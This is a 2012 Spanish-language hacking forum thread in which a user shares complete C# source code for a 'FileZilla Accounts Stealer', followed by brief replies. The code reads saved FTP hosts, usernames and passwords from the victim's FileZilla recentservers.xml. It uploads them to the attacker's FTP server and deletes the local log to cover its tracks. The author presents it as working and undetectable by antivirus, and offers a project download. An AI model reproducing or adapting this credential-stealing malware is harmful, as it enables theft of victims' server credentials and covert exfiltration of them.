comment
IRC Chat
play_arrow
Este sitio utiliza cookies propias y de terceros. Si continúa navegando consideramos que acepta el uso de cookies. OK Más Información.

[SourceCode] FileZilla Accounts Stealer

  • 3 Respuestas
  • 2310 Vistas

0 Usuarios y 1 Visitante están viendo este tema.

Desconectado [C]orrupted[B]yte

  • *
  • Underc0der
  • Mensajes: 172
  • Actividad:
    0%
  • Reputación 0
    • Ver Perfil
    • R00TW0RM
    • Email
« en: Marzo 22, 2012, 12:58:26 am »
Hola, aqui les dejo un code que programe hace unos dias, su funcionamiento es basico al ejecutarlo guarda todas las cuentas FTP de filezilla en un documento de texto con el nombre de la maquina victima para diferenciarlos y los manda a tu servidor FTP seguido de eso elimina el fichero y aqui no paso nada XD. Es un codigo muy pequeño y sencillo pero 100% funcional e indetectable a cualquier antivirus o por lo menos hasta donde lo testee.


El codigo esta dividido en 3 clases para que le puedan dar uso por separado como ustedes guste.




Clase principal para la llamada de los metodos de las otras clases:
Código: C#
  1. using System;
  2. using System.Collections.Generic;
  3. using System.Linq;
  4. using System.Text;
  5. using System.Net.NetworkInformation;
  6. using System.IO;
  7. using System.Xml;
  8. using System.Threading;
  9.  
  10.  
  11. namespace FileZillaStealer
  12. {
  13.     class Stealer
  14.     {
  15.         static void Main(string[] args)
  16.         {
  17.             string sLogs = IPGlobalProperties.GetIPGlobalProperties().HostName +"Logs.txt";
  18.             AccountStealer StealAccounts = You are not allowed to view links. Register or Login AccountStealer();
  19.             FTP SendAccounts = You are not allowed to view links. Register or Login FTP();
  20.             StealAccounts.FileZillaAccounts(sLogs);
  21.             SendAccounts.Send("ftp.server.com", "/public_html/", "user", "pass", sLogs);
  22.             System.IO.File.Delete(sLogs);
  23.         }
  24.     }
  25. }
  26.  


Clase con el metodo sendo para enviar el fichero de texto con las cuentas guardadas:
Código: C#
  1. using System;
  2. using System.Collections.Generic;
  3. using System.Linq;
  4. using System.Text;
  5. using System.IO;
  6. using System.Net;
  7.  
  8.  
  9. namespace FileZillaStealer
  10. {
  11.     class FTP
  12.     {
  13.         public void Send(string sHost, string sDir, string sUser, string sPass, string sFile)
  14.         {
  15.             string ftpHostDirFile = "ftp://" + sHost +sDir +sFile;
  16.             FtpWebRequest ftp = (FtpWebRequest)FtpWebRequest.Create(ftpHostDirFile);
  17.             ftp.Credentials = You are not allowed to view links. Register or Login NetworkCredential(sUser, sPass);
  18.             ftp.KeepAlive = true;
  19.             ftp.UseBinary = true;
  20.             ftp.Method = WebRequestMethods.Ftp.UploadFile;
  21.             FileStream fs = File.OpenRead(sFile);
  22.             byte[] buffer = You are not allowed to view links. Register or Login byte[fs.Length];
  23.             fs.Read(buffer, 0, buffer.Length);
  24.             fs.Close();
  25.             Stream ftpstream = ftp.GetRequestStream();
  26.             ftpstream.Write(buffer, 0, buffer.Length);
  27.             ftpstream.Close();
  28.         }
  29.     }
  30. }
  31.  


Clase para el guarado de las cuentas de filezilla en un documento de texto:
Código: C#
  1. using System;
  2. using System.Collections.Generic;
  3. using System.Linq;
  4. using System.Text;
  5. using System.IO;
  6. using System.Xml;
  7. using System.Runtime.InteropServices;
  8. using Microsoft.VisualBasic;
  9.  
  10.  
  11. namespace FileZillaStealer
  12. {
  13.     class AccountStealer
  14.     {
  15.         public void FileZillaAccounts(string sLogsPath)
  16.         {
  17.             XmlDocument xmlAccountsFile = You are not allowed to view links. Register or Login XmlDocument();
  18.             string sFilePath = Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData).ToString() + "\\FileZilla\\recentservers.xml";
  19.             xmlAccountsFile.Load(sFilePath);
  20.             XmlNodeList xmlRecentServers = xmlAccountsFile.GetElementsByTagName("RecentServers");
  21.             XmlNodeList xmlList = ((XmlElement)xmlRecentServers[0]).GetElementsByTagName("Server");
  22.             string sAccount;
  23.             foreach (XmlElement nodo in xmlList)
  24.             {
  25.                 XmlNodeList xmlHost = nodo.GetElementsByTagName("Host");
  26.                 XmlNodeList xmlPort = nodo.GetElementsByTagName("Port");
  27.                 XmlNodeList xmlUser = nodo.GetElementsByTagName("User");
  28.                 XmlNodeList xmlPass = nodo.GetElementsByTagName("Pass");
  29.                 sAccount = string.Format("Host: {0} Port: {1} User: {2} Pass: {3}", xmlHost[0].InnerText, xmlPort[0].InnerText, xmlUser[0].InnerText, xmlPass[0].InnerText);
  30.                 FileStream fsLogs = You are not allowed to view links. Register or Login FileStream(sLogsPath, FileMode.OpenOrCreate, FileAccess.Write);
  31.                 fsLogs.Close();
  32.                 StreamWriter swAccount = File.AppendText(sLogsPath);
  33.                 swAccount.WriteLine(sAccount);
  34.                 swAccount.Close();
  35.             }
  36.         }
  37.         }
  38.  




Aqui les dejo el proyecto en VS2010:


Descarga:
You are not allowed to view links. Register or Login
Contraseña:
Backroot.org

« Última modificación: Enero 05, 2015, 09:54:33 am por Expermicid »

Desconectado 5TU4RT

  • *
  • Underc0der
  • Mensajes: 111
  • Actividad:
    0%
  • Reputación 0
  • Si se puede imaginar... se puede programar.!
    • Ver Perfil
    • Underc0de
    • Email
« Respuesta #1 en: Marzo 22, 2012, 07:01:40 pm »
INTERESANTE man!

A testear  :P :P
Gracias por compartir

SALU2

Si se puede imaginar... se puede programar.!

Desconectado [C]orrupted[B]yte

  • *
  • Underc0der
  • Mensajes: 172
  • Actividad:
    0%
  • Reputación 0
    • Ver Perfil
    • R00TW0RM
    • Email
« Respuesta #2 en: Marzo 28, 2012, 09:11:45 pm »
Claro testea y me dices si hay algún error o algo que se podría mejorar

Desconectado Sanko

  • *
  • Underc0der
  • Mensajes: 541
  • Actividad:
    0%
  • Reputación 0
  • ¿Puedes?
    • Ver Perfil
    • Underc0de
« Respuesta #3 en: Julio 26, 2012, 12:33:27 pm »
Limpio el tema.
Corrupted luego dime su user autentico ya que por lo que veo ha estado enviando privados a usuarios ( me incluyo ) con insultos hacia los dichos.
Mecanico , te dare un consejo : Hazlo mejor y no ladres, sabia frase de un buen amigo.
Sigueme en Twitter : @Sankosk
Estos nuevos staff no tienen puta idea XD

 

¿Te gustó el post? COMPARTILO!



[C#] Filezilla Stealer by Bloc

Iniciado por Bloc

Respuestas: 0
Vistas: 1137
Último mensaje Agosto 11, 2013, 04:51:24 pm
por Bloc